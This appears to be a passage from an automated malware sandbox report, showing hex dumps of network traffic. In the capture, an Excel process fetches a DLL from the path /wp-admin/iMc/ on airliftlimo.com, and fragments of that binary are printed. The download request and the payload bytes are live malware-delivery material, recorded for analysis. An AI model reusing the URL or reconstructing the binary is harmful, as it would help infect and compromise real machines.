2022-05-23 06:34:53 UTC	327	IN	Data Raw: 31 32 37 0d 0a 65 2e fe e7 57 39 6b 16 b2 c4 4c 31 64 ee 70 4a 3c 4d 0c bb 08 45 24 50 fd 9d 59 50 2b 52 ec 08 43 2a 69 de 17 6d 35 76 7e 26 06 61 66 57 c1 54 66 78 6a 5e 4c a0 39 76 50 e1 90 35 3c 65 59 1c 5b 6b 21 75 a1 bd 3b 6b 2b af 45 91 c9 33 5a 5e f0 05 cc 22 4e 2a cd 61 b8 f2 24 87 a7 ca 44 e0 b9 a1 29 ac 9b b8 6a bc 3b 9c b4 04 b5 df 8c 43 72 a0 3d bd 00 95 c3 34 b7 3a b2 32 b4 79 b2 ce 31 98 9a a0 0f f3 19 65 58 3f af 45 95 37 92 d0 5e c9 79 96 0b 8a 99 bf a5 12 a2 e8 6f 93 8c ee 5f b3 64 4d 90 fd 96 29 4a 2a 11 ff 71 eb 23 27 18 07 98 87 ab 06 3c 65 b5 03 20 14 45 d9 58 ee 21 14 ee 21 05 52 af 10 e2 2f a0 25 d7 c5 27 e0 27 81 c1 78 69 11 9e 2f 0d da a0 c1 66 9a 5d 2b 86 3d 97 b7 d5 a1 1f 2e e9 18 d2 43 7d fc 3c 5e 14 c8 3f 80 b9 07 1c 4b 09 71 Data Ascii: 127e.W9kL1dpJ<ME$PYP+RCim5v~&afWTfxj^L9vP5<eY[k!u;k+E3Z^"Na$D)j;Cr=4:2y1eX?E7^yo_dM)J*q#'<e EX!!R/%''xi/f]+=.C}<^?Kq
2022-05-23 06:34:53 UTC	328	IN	Data Raw: 32 33 34 34 0d 0a 1f 86 31 16 1f 43 f4 1c bd 60 99 28 a5 6f f9 1f b4 10 5b 39 76 d4 20 e0 71 b7 20 bf e0 2a 1a a8 3e 00 75 d1 56 f4 96 ff f6 c6 35 68 5e a1 9f b3 ce 89 2e cb ea b7 a2 a0 a6 af a2 2c 22 d0 8e 4a 6d 5a b8 e2 cb 89 bc f2 34 b5 df cd 2e 72 df df 7a 0b 49 e9 79 a9 a8 84 1c ff ed 8c 67 a1 a6 8c 27 f3 69 8a b8 1e f4 bc 02 40 31 ac 2f 21 0a 12 ea 31 f7 23 3f 3f 6f 86 96 d9 15 54 02 1d 68 48 eb 0b 25 57 ed 40 09 03 8e 7e 6a a1 1d 9e 6a c4 d6 6a 08 06 b9 66 ff 1a be b6 78 e7 95 0c 74 40 e4 54 a1 a9 9a c2 5c ec 2d d7 ba 8b b7 6a 9f 2d eb 4b b0 33 b1 e0 ff 5f 79 e8 2d 87 81 5f 0e 5f c3 6f b1 d1 14 b7 be 33 3c be 34 b5 ed 13 4d 9a ce 5d 6a 63 0b eb 37 3e da a5 38 b1 09 64 64 6b df bf e5 78 24 bc d2 96 d4 97 48 c7 0a ac 2f 21 78 1a e7 31 f7 23 3f 93 39 Data Ascii: 23441C`(o[9v q *>uV5h^.,"JmZ4.rzIyg'i@1/!1#??oThH%W@~jjjfxt@T\-j-K3_y-__o3<4M]jc7>8ddkx$H/!x1#?9
2022-05-23 06:34:53 UTC	336	IN	Data Raw: 65 61 38 0d 0a ec 2a 32 c8 e7 66 66 d1 1c 74 c2 97 82 df 77 e3 33 40 84 1f 7f 7d eb 16 5b ff c6 7a 5f 29 bc 30 35 25 64 6b ec 30 39 f1 69 75 74 e0 ab e8 02 4e 31 83 65 5a 48 3c f5 cb 6c 6a 40 cd eb 85 96 a7 97 6e 47 29 a2 b6 2a de 17 c0 a3 8f f7 06 1d 3f 8f 99 a7 c4 07 4f 00 b9 57 f9 e3 41 5e c4 03 f2 8f fb 20 44 8b b2 35 21 f1 69 75 ce 8a 00 a2 d1 a7 32 a1 ab b7 4d b5 00 11 f7 23 60 c9 ea 86 96 d9 15 0b 7d b1 68 48 ab 13 7a f7 08 34 76 84 70 69 72 5c 65 45 f3 2a 60 39 ce af 4d b5 33 47 d0 b0 35 3c e4 11 73 e5 32 d2 55 af 10 21 2f a0 2d 20 c5 64 43 e3 1a 6c 0c 8a 75 52 46 41 24 5f 79 81 70 b7 d5 90 62 e3 80 62 ed 5f 0f 53 35 76 0b bc 39 52 2e dd 8c 07 76 c0 d4 98 42 62 09 66 5e 67 37 41 36 8c 6f 97 98 9a 9a 7b 24 55 39 e0 e8 20 83 8a 79 30 37 9d 84 f0 c4 Data Ascii: ea82fftw3@}[z_)05%dk09iutN1eZH<lj@nG)?OWA^ D5!iu2M#`}hHz4vpir\eE*`9M3G5<s2U!/- dCluRFA$_ypbb_S5v9R.vBbf^g7A6o{$U9 y07
2022-05-23 06:34:53 UTC	340	IN	Data Raw: 31 31 36 66 0d 0a c5 e7 ea 2e 7a 38 26 6d 31 76 e7 0c 00 2f 03 b5 0e 25 aa 2b 0e 18 0c 49 66 5a d0 18 11 06 01 d5 06 1f a1 1c 61 06 85 55 f1 63 c2 16 10 02 64 fc 47 54 bd 21 40 1f f7 5e de 85 a5 21 1d 1f 1d ef ee 2f 75 e0 26 7a 3c b7 01 15 06 8e bd 65 a1 86 ec 98 24 22 5c dc d3 55 6e 6b 5a ba 69 8e 93 ca 3e 71 ad 22 7c 35 94 08 fd 6a e2 37 46 44 0d a2 9a 6c b4 70 41 14 9d dc a3 d7 bb 40 71 49 65 aa 1c 24 3e d3 e0 9e f0 8f 79 cd 4d fd 11 40 e5 32 f9 79 d9 25 ab 6f 30 6b 48 66 ed 1f 91 e7 60 f6 c8 79 55 1a 8e 20 e4 8d 98 f9 91 7e 07 6f 34 02 55 8c 0b cd c3 9a da 69 67 65 21 36 a9 c9 1d bb 2a 68 00 c5 f7 22 e1 05 78 75 c6 42 4e 2f cb 5f 1f 30 e2 bb 11 74 2e 74 29 15 6b 3a 07 92 a0 f9 ba 0b be b5 22 ef 00 4d 3a ee 10 7a 2b ca 12 2c 21 17 e6 db 65 78 ee f0 4f Data Ascii: 116f.z8&m1v/%+IfZaUcdGT!@^!/u&z<e$"\UnkZi>q"\|5j7FDlpA@qIe$>yM@2y%o0kHf`yU ~o4Uige!6*h"xuBN/_0t.t)k:"M:z+,!exO
2022-05-23 06:34:53 UTC	345	IN	Data Raw: 33 35 30 65 0d 0a ef 71 91 9e 08 fc 31 bd 10 af 66 94 60 21 bd 61 2a 33 28 e4 68 81 03 4e fe b9 80 0e fd 20 4e 70 e7 35 5b 42 75 75 59 97 6e a8 77 ce f9 2a e7 1f 96 a6 07 89 bc b4 04 ad 6a 0f f5 72 a0 3d a5 ea 80 0e 34 b7 32 aa 33 b4 49 aa 6c 30 6e 65 aa 3f eb dc 7d 4f 03 e3 45 89 75 e0 27 21 c3 6a 21 ba 3b ad c9 60 7b 59 81 6f 59 d5 90 92 ca 50 2a 66 b3 e0 92 ca 89 84 70 b6 9d 13 98 45 ca fa fa fd 30 0f ef 71 91 9e 08 f0 3e bd 10 a3 ad 1e ec 13 fb 51 92 a8 ac a0 5a c7 0b fa b3 53 59 48 b7 00 fa 81 87 f8 b9 dd ee 3a 99 ba 2f e6 7f a3 c9 5f ad 7c f2 65 35 b1 06 fa 60 5a d9 58 ce 3f a8 8f 8b a2 a9 67 bd 23 90 e4 42 fa 0c 70 6a 6b a0 20 5e 58 4b 39 39 00 6e 17 57 c7 74 14 eb 1b 37 77 fc ce 89 ed 05 5b 9e 99 6d d1 15 54 ee 5f 17 6d 4b f9 17 da 29 4a ff 07 11 Data Ascii: 350eq1f`!a3(hN Np5[BuuYnwjr=423Il0ne?}OEu'!j!;`{YoYP*fpE0q>QZSYH:/_\|e5`ZX?g#Bpjk ^XK99nWt7w[mT_mK)J
2022-05-23 06:34:53 UTC	358	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49176	159.203.19.2	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
2022-05-23 06:35:00 UTC	358	OUT	GET /wp-admin/iMc/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: airliftlimo.com Connection: Keep-Alive
2022-05-23 06:35:00 UTC	358	IN	HTTP/1.1 200 OK Date: Mon, 23 May 2022 06:34:56 GMT Server: Apache/2 Set-Cookie: 628b2b108ba3a=1653287696; expires=Mon, 23-May-2022 06:35:56 GMT; Max-Age=60; path=/ Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Mon, 23 May 2022 06:34:56 GMT Expires: Mon, 23 May 2022 06:34:56 GMT Content-Disposition: attachment; filename="klJrMZJhgldiJr6j0XWPeZOiGs.dll" Content-Transfer-Encoding: binary Content-Length: 365056 Vary: Accept-Encoding,User-Agent Connection: close Content-Type: application/x-msdownload
2022-05-23 06:35:00 UTC	359	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 76 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEdv{b"
2022-05-23 06:35:00 UTC	366	IN	Data Raw: df c7 85 b4 08 00 00 65 37 35 d7 c7 85 b8 08 00 00 40 20 e0 e2 c7 85 bc 08 00 00 7d 20 7a 24 c7 85 c0 08 00 00 be 1a ee e2 c7 85 c4 08 00 00 1d 06 0a bc c7 85 c8 08 00 00 2a 4a b5 5a c7 85 cc 08 00 00 78 c6 b4 6e c7 85 d0 08 00 00 67 40 24 da c7 85 d4 08 00 00 b0 d1 18 50 c7 85 d8 08 00 00 2b 6f 6e 67 c7 85 dc 08 00 00 0d ea 22 d3 c7 85 e0 08 00 00 d4 74 34 76 c7 85 e4 08 00 00 43 c2 77 6a c7 85 e8 08 00 00 66 58 41 06 c7 85 ec 08 00 00 6b 39 65 d9 c7 85 f0 08 00 00 ab 6b 70 ff c7 85 f4 08 00 00 da 7d 36 35 c7 85 f8 08 00 00 3c ee 2a 83 c7 85 fc 08 00 00 2b e8 ac 62 c7 85 00 09 00 00 25 55 39 e0 c7 85 04 09 00 00 7d 84 48 4d c7 85 08 09 00 00 fa 94 3f 6e c7 85 0c 09 00 00 47 8b 0a 37 c7 85 10 09 00 00 33 65 b4 6c c7 85 14 09 00 00 dc bf 41 1c c7 85 18 09 Data Ascii: e75@ } z$JZxng@$P+ong"t4vCwjfXAk9ekp}65<+b%U9}HM?nG73elA
2022-05-23 06:35:00 UTC	382	IN	Data Raw: 75 03 cc 33 c0 48 8b 44 24 40 8b 40 28 89 44 24 28 48 8d 05 5d c9 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 33 c9 e8 f5 42 00 00 83 f8 01 75 03 cc 33 c0 48 8b 44 24 40 8b 40 1c 25 ff ff 00 00 83 f8 04 0f 85 a9 00 00 00 48 8b 44 24 40 8b 40 1c c1 f8 10 25 ff ff 00 00 48 8b 4c 24 40 48 83 c1 30 48 8b 54 24 40 48 8b 52 20 48 89 54 24 38 89 44 24 30 48 89 4c 24 28 48 8d 05 c0 c8 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 33 c9 e8 8c 42 00 00 83 f8 01 75 03 cc 33 c0 48 83 3d 04 5f 02 00 00 74 38 48 8b 44 24 40 48 83 c0 30 ba 01 00 00 00 48 8b c8 ff 15 4b b6 01 00 85 c0 75 1d 48 8b 44 24 40 48 83 c0 30 48 8b 4c 24 40 48 8b 51 20 48 8b c8 ff 15 cc 5e 02 00 eb 0f 48 8b 54 24 40 48 8b 4c 24 68 e8 23 01 00 00 e9 cf 00 00 00 48 8b 44 24 40 83 78 1c 01 75 50 48 Data Ascii: u3HD$@@(D$(H]HD$ E3E333Bu3HD$@@%HD$@@%HL$@H0HT$@HR HT$8D$0HL$(HHD$ E3E333Bu3H=_t8HD$@H0HKuHD$@H0HL$@HQ H^HT$@HL$h#HD$@xuPH
2022-05-23 06:35:00 UTC	398	IN	Data Raw: 44 0a 1c 8b 84 24 70 05 00 00 83 e8 20 8b 8c 24 70 05 00 00 48 8b 94 24 b0 05 00 00 88 84 0a 1d 01 00 00 eb 17 8b 84 24 70 05 00 00 48 8b 8c 24 b0 05 00 00 c6 84 01 1d 01 00 00 00 e9 f3 fe ff ff 48 8b 8c 24 90 05 00 00 48 33 cc e8 50 88 ff ff 48 81 c4 a8 05 00 00 c3 cc cc cc cc cc cc cc cc 48 83 ec 28 83 3d 2d 3d 02 00 00 75 14 b9 fd ff ff ff e8 b9 f1 ff ff c7 05 17 3d 02 00 01 00 00 00 33 c0 48 83 c4 28 c3 cc cc cc cc cc cc cc cc 89 4c 24 08 48 83 ec 38 e8 e3 00 00 00 8b 4c 24 40 89 08 8b 4c 24 40 e8 14 00 00 00 89 44 24 20 e8 9b 00 00 00 8b 4c 24 20 89 08 48 83 c4 38 c3 89 4c 24 08 48 83 ec 18 c7 04 24 00 00 00 00 eb 08 8b 04 24 ff c0 89 04 24 48 63 04 24 48 83 f8 2d 73 27 48 63 04 24 48 8d 0d 92 11 02 00 8b 04 c1 39 44 24 20 75 11 48 63 04 24 48 8d 0d Data Ascii: D$p $pH$$pH$H$H3PHH(=-=u=3H(L$H8L$@L$@D$ L$ H8L$H$$$Hc$H-s'Hc$H9D$ uHc$H
2022-05-23 06:35:00 UTC	414	IN	Data Raw: 84 24 90 00 00 00 48 89 44 24 48 e8 11 56 ff ff 48 8b 80 e0 00 00 00 48 89 44 24 58 48 8d 54 24 40 48 8b 84 24 80 00 00 00 8b 08 ff 54 24 58 c7 44 24 50 00 00 00 00 eb 00 8b 44 24 50 48 83 c4 78 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 44 89 4c 24 20 44 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 48 83 ec 48 48 c7 44 24 38 00 00 00 00 48 8b 44 24 58 8b 40 0c 89 44 24 28 48 8b 94 24 80 00 00 00 48 8b 4c 24 58 e8 d1 50 00 00 89 44 24 30 83 7c 24 28 00 76 02 eb 05 e8 ff e4 ff ff 48 8b 44 24 78 c7 00 ff ff ff ff 48 8b 44 24 70 c7 00 ff ff ff ff 8b 44 24 28 89 44 24 2c eb 0a 8b 44 24 2c ff c8 89 44 24 2c 83 7c 24 2c 00 76 4f 48 8b 44 24 58 48 63 40 10 48 8b 8c 24 80 00 00 00 48 8b 49 08 48 03 c8 48 8b c1 8b 4c 24 2c ff c9 8b c9 48 6b c9 14 48 03 c1 48 89 Data Ascii: $HD$HVHHD$XHT$@H$T$XD$PD$PHxDL$ DD$HT$HL$HHHD$8HD$X@D$(H$HL$XPD$0\|$(vHD$xHD$pD$(D$,D$,D$,\|$,vOHD$XHc@H$HIHHL$,HkHH
2022-05-23 06:35:00 UTC	430	IN	Data Raw: 00 00 00 00 8b 44 24 60 89 44 24 40 83 7c 24 40 00 75 2e 48 8d 05 a7 4a 01 00 48 89 44 24 20 45 33 c9 41 b8 42 01 00 00 48 8d 15 b2 49 01 00 b9 02 00 00 00 e8 98 89 ff ff 83 f8 01 75 03 cc 33 c0 83 7c 24 40 00 75 3e e8 04 81 ff ff c7 00 22 00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 42 01 00 00 4c 8d 05 78 49 01 00 48 8d 15 09 4b 01 00 48 8d 0d 4a 4a 01 00 e8 15 93 ff ff b8 ff ff ff ff e9 ca 00 00 00 b8 ff ff ff ff e9 c0 00 00 00 48 83 bc 24 98 00 00 00 ff 0f 84 94 00 00 00 48 81 bc 24 98 00 00 00 ff ff ff 7f 0f 84 82 00 00 00 8b 44 24 30 ff c0 48 98 48 3b 84 24 98 00 00 00 73 70 8b 44 24 30 ff c0 48 98 48 8b 8c 24 98 00 00 00 48 2b c8 48 8b c1 48 39 05 81 85 01 00 73 0e 48 8b 05 78 85 01 00 48 89 44 24 68 eb 1b 8b 44 24 30 ff c0 48 98 48 8b 8c 24 98 00 00 Data Ascii: D$`D$@\|$@u.HJHD$ E3ABHIu3\|$@u>"HD$ ABLxIHKHJJH$H$D$0HH;$spD$0HH$H+HH9sHxHD$hD$0HH$
2022-05-23 06:35:01 UTC	446	IN	Data Raw: 74 15 48 83 bc 24 a8 00 00 00 00 76 0a c7 44 24 50 01 00 00 00 eb 08 c7 44 24 50 00 00 00 00 8b 44 24 50 89 44 24 40 83 7c 24 40 00 75 2e 48 8d 05 8c ed 00 00 48 89 44 24 20 45 33 c9 41 b8 12 00 00 00 48 8d 15 67 0d 01 00 b9 02 00 00 00 e8 7d 49 ff ff 83 f8 01 75 03 cc 33 c0 83 7c 24 40 00 75 3e e8 e9 40 ff ff c7 00 16 00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 12 00 00 00 4c 8d 05 2d 0d 01 00 48 8d 15 26 10 01 00 48 8d 0d 2f ed 00 00 e8 fa 52 ff ff b8 16 00 00 00 e9 1a 05 00 00 48 83 bc 24 b0 00 00 00 00 0f 85 1d 01 00 00 48 8b 84 24 a0 00 00 00 c6 00 00 48 83 bc 24 a8 00 00 00 ff 74 68 48 81 bc 24 a8 00 00 00 ff ff ff 7f 74 5a 48 83 bc 24 a8 00 00 00 01 76 4f 48 8b 84 24 a8 00 00 00 48 ff c8 48 39 05 70 45 01 00 73 0e 48 8b 05 67 45 01 00 48 89 44 24 58 Data Ascii: tH$vD$PD$PD$PD$@\|$@u.HHD$ E3AHg}Iu3\|$@u>@HD$ AL-H&H/RH$H$H$thH$tZH$vOH$HH9pEsHgEHD$X
2022-05-23 06:35:01 UTC	462	IN	Data Raw: 24 40 2b c8 8b c1 48 8b 8c 24 70 3d 00 00 48 33 cc e8 8b 88 fe ff 48 81 c4 88 3d 00 00 c3 cc cc cc 48 89 4c 24 08 48 83 ec 48 48 83 7c 24 50 00 75 2e 48 8d 05 b8 c6 00 00 48 89 44 24 20 45 33 c9 41 b8 2e 00 00 00 48 8d 15 b3 d7 00 00 b9 02 00 00 00 e8 79 09 ff ff 83 f8 01 75 03 cc 33 c0 8b 05 1f 2a 01 00 ff c0 89 05 17 2a 01 00 48 8b 44 24 50 48 89 44 24 30 41 b9 3a 00 00 00 4c 8d 05 44 d7 00 00 ba 02 00 00 00 b9 00 10 00 00 e8 1d 98 fe ff 48 89 44 24 38 48 8b 44 24 30 48 8b 4c 24 38 48 89 48 10 48 83 7c 24 38 00 74 21 48 8b 44 24 30 8b 40 18 83 c8 08 48 8b 4c 24 30 89 41 18 48 8b 44 24 30 c7 40 24 00 10 00 00 eb 31 48 8b 44 24 30 8b 40 18 83 c8 04 48 8b 4c 24 30 89 41 18 48 8b 44 24 30 48 83 c0 20 48 8b 4c 24 30 48 89 41 10 48 8b 44 24 30 c7 40 24 02 00 Data Ascii: $@+H$p=H3H=HL$HHH\|$Pu.HHD$ E3A.Hyu3**HD$PHD$0A:LDHD$8HD$0HL$8HHH\|$8t!HD$0@HL$0AHD$0@$1HD$0@HL$0AHD$0H HL$0HAHD$0@$
2022-05-23 06:35:01 UTC	478	IN	Data Raw: 44 24 40 48 ff c0 48 89 44 24 40 8b 44 24 50 25 00 02 00 00 85 c0 74 33 83 7c 24 68 00 74 0d 48 8b 44 24 40 0f be 00 83 f8 30 74 1f 48 8b 44 24 40 48 ff c8 48 89 44 24 40 48 8b 44 24 40 c6 00 30 8b 44 24 68 ff c0 89 44 24 68 83 7c 24 6c 00 0f 85 47 02 00 00 8b 44 24 50 83 e0 40 85 c0 74 5d 8b 44 24 50 25 00 01 00 00 85 c0 74 14 b8 2d 00 00 00 66 89 44 24 54 c7 44 24 5c 01 00 00 00 eb 3c 8b 44 24 50 83 e0 01 85 c0 74 14 b8 2b 00 00 00 66 89 44 24 54 c7 44 24 5c 01 00 00 00 eb 1d 8b 44 24 50 83 e0 02 85 c0 74 12 b8 20 00 00 00 66 89 44 24 54 c7 44 24 5c 01 00 00 00 8b 44 24 68 8b 4c 24 58 2b c8 8b c1 2b 44 24 5c 89 84 24 28 05 00 00 8b 44 24 50 83 e0 0c 85 c0 75 20 4c 8d 8c 24 b0 04 00 00 4c 8b 84 24 00 06 00 00 8b 94 24 28 05 00 00 66 b9 20 00 e8 e1 03 00 Data Ascii: D$@HHD$@D$P%t3\|$htHD$@0tHD$@HHD$@HD$@0D$hD$h\|$lGD$P@t]D$P%t-fD$TD$\<D$Pt+fD$TD$\D$Pt fD$TD$\D$hL$X++D$\$(D$Pu L$L$$(f
2022-05-23 06:35:01 UTC	494	IN	Data Raw: 00 05 00 00 c0 0b 00 00 00 00 00 00 00 00 00 00 00 1d 00 00 c0 04 00 00 00 00 00 00 00 00 00 00 00 96 00 00 c0 04 00 00 00 00 00 00 00 00 00 00 00 8d 00 00 c0 08 00 00 00 00 00 00 00 00 00 00 00 8e 00 00 c0 08 00 00 00 00 00 00 00 00 00 00 00 8f 00 00 c0 08 00 00 00 00 00 00 00 00 00 00 00 90 00 00 c0 08 00 00 00 00 00 00 00 00 00 00 00 91 00 00 c0 08 00 00 00 00 00 00 00 00 00 00 00 92 00 00 c0 08 00 00 00 00 00 00 00 00 00 00 00 93 00 00 c0 08 00 00 00 00 00 00 00 00 00 00 00 b4 02 00 c0 08 00 00 00 00 00 00 00 00 00 00 00 b5 02 00 c0 08 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 09 00 00 00 c0 00 00 00 0c 00 00 00 66 3a 5c 64 64 5c 76 63 74 6f 6f 6c 73 5c 63 72 74 5f 62 6c 64 5c 73 65 6c 66 5f 36 34 5f 61 6d 64 36 34 5c 63 72 74 5c 73 72 63 5c 6d 6c Data Ascii: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ml
2022-05-23 06:35:01 UTC	510	IN	Data Raw: 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 00 3d 00 00 00 00 00 00 00 5f 00 73 00 65 00 74 00 5f 00 65 00 72 00 72 00 6f 00 72 00 5f 00 6d 00 6f 00 64 00 65 00 00 00 00 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 36 00 34 00 5f 00 61 00 6d 00 64 00 36 00 34 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 65 00 72 00 72 00 6d 00 6f 00 64 00 65 00 2e 00 63 00 00 00 00 00 00 00 28 00 22 00 49 00 6e 00 76 00 61 00 6c 00 69 00 64 00 20 00 65 00 72 00 72 00 6f 00 72 00 5f 00 6d 00 6f 00 64 00 65 00 22 00 2c 00 20 00 30 00 29 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: `abcdefghijklmnopqrstuvwxyz{\|}~=_set_error_modef:\dd\vctools\crt_bld\self_64_amd64\crt\src\errmode.c("Invalid error_mode", 0)
2022-05-23 06:35:01 UTC	526	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 00 00 00 00 00 00 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 00 00 00 Data Ascii: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
2022-05-23 06:35:01 UTC	542	IN	Data Raw: 71 a0 9a b6 41 18 21 1c ea e3 ae 65 f1 68 71 7d 2f a0 2c 24 0e ba 3f 4e 16 c3 70 69 7d 9e 49 b1 25 5f 38 e2 9c 18 a0 a4 62 6b 8b 66 ed 9a 1d 47 f6 3e 78 ed 3c 65 21 9d 08 f7 a7 0c 70 2b c8 b1 7c 81 85 21 0f 1c 49 66 a2 6a a4 2d de bb 6c d8 3d 61 62 53 c0 3c dd ac 2e 7a 00 cd a5 23 76 de 0f c8 9b 37 e8 2c 74 63 f1 7a 2f d1 ab 12 7e 19 0d 8d 23 da f2 35 4e 36 a3 58 4c 67 f9 1e 47 13 54 30 d0 f6 e4 43 11 6c a8 7d f3 ce a2 65 5e 64 02 d3 5b 2b e3 4c 6a 71 9c 8b e6 89 e2 7c 04 b7 8c 45 ad 0b 5d 29 99 34 0f 2f 22 e9 3c 0e 26 9f 59 1e 35 b1 07 11 3d 52 b3 da 45 b3 03 5c 26 6b c2 16 10 3a e1 bc ea b7 fb 21 40 2f c2 16 b7 7a a5 11 1d 2f 70 85 00 4e ba 27 4e 1a bf dd 8c db 72 ef 14 00 1b f8 1d 7c 14 fe 4a 2f 68 c3 6e 42 1e da 28 11 3a c8 71 55 2a ed 1c 61 22 23 f3 Data Ascii: qA!ehq}/,$?Npi}I%_8bkfG>x<e!p+\|!Ifj-l=abS<.z#v7,tcz/~#5N6XLgGT0Cl}e^d[+Ljq\|E])4/"<&Y5=RE\&k:!@/z/pN'Nr\|J/hnB(:qU*a"#
2022-05-23 06:35:01 UTC	558	IN	Data Raw: 35 3c a2 20 4f 53 00 02 59 24 d4 4d 4f 1f 2e fe 09 9c ea 2e 7a 7c b9 eb 31 76 e7 34 00 6b 75 55 31 fd ec ea 22 6a 48 2a fb 7f 37 6c be fb 4b 37 71 6a 91 b9 84 98 61 f1 ff 6b 41 62 34 f7 ea 6d 35 35 3c be 73 2c 2f a4 84 72 26 55 39 67 aa dd 08 4c 31 6b df 71 39 5a c6 b4 7e 64 40 24 d4 3d 4d 6c db 6f 4b 1a e3 1c 0e 5e b2 23 24 35 76 0b be a9 22 e5 a0 ba 7d e3 2a 94 9c bc da 8d 21 56 65 de 89 c1 9a 9b 23 ee 19 05 22 9c 87 78 62 2b 81 ad b3 ce 94 ad 1a 6c 0c 52 62 71 66 0c a9 12 d9 21 d3 9b aa 2b 0e 58 cd 09 66 5a 90 08 11 46 48 b4 05 4e 56 f7 54 c5 5c bf ef 6b 41 62 34 2c 52 bd 37 b4 b9 6d 66 6b 67 1f 21 85 db d4 8c 63 29 68 00 32 ba 35 cc df fd 34 4f 31 76 0c 9b a7 f9 be 2d 7c 64 d6 68 0e 68 c9 66 42 6e 73 ce e6 0d c2 41 55 5e 84 1e b3 09 ec 3c 4e 57 07 e9 Data Ascii: 5< OSY$MO..z\|1v4kuU1"jH7lK7qjakAb4m55<s,/r&U9gL1kq9Z~d@$=MloK^#$5v"}!Ve#"xb+lRbqf!+XfZFHNVT\kAb4,R7mfkg!c)h254O1v-\|dhhfBnsAU^<NW
2022-05-23 06:35:01 UTC	574	IN	Data Raw: 5f 26 92 c1 3e 0f 97 78 ba c3 2c 03 8c 70 aa 82 58 0c b5 09 15 42 27 f8 b0 82 d3 33 d9 24 0f 5b d1 9f 89 af e7 2e 75 58 ea e5 81 b0 fa 2e 42 6c ce 36 43 48 82 9f f4 63 34 3e d6 60 4e 2a 3e 65 2c e0 ac 2d a2 be 74 0e 71 94 cb a4 cc 06 b2 87 22 99 0c 18 7d 16 b3 6b 40 e3 1b 5d 5d 42 46 2c 6f ed 2c 6c 12 5b 5f 5e 6c f2 32 67 6d c1 45 0b 58 fd d1 53 46 58 e2 0f 46 6c 4c da 4b 9f b4 78 41 3c c4 c1 9a de f1 68 71 61 9c ca 43 ca 9f d8 68 a0 9f a1 3a c4 7d 52 3e c1 50 7b 21 6d a1 c4 2a a8 6e 4c 20 71 bd 0b 51 ad 59 52 2b 25 f0 1e 42 30 a3 45 6f 78 ad 27 67 02 ff 06 d9 65 f6 51 18 05 6d ea 13 41 41 0c 24 bc 35 ac 6f 4c 50 9f af fc 6a 35 0c 18 1d 22 ff 22 64 74 de 35 4d 08 af 94 65 c1 e9 3c 0e 36 fc fe 28 de fd 07 11 21 2e ed 14 61 12 23 f3 2e 47 2b 2a bf 63 57 7b Data Ascii: 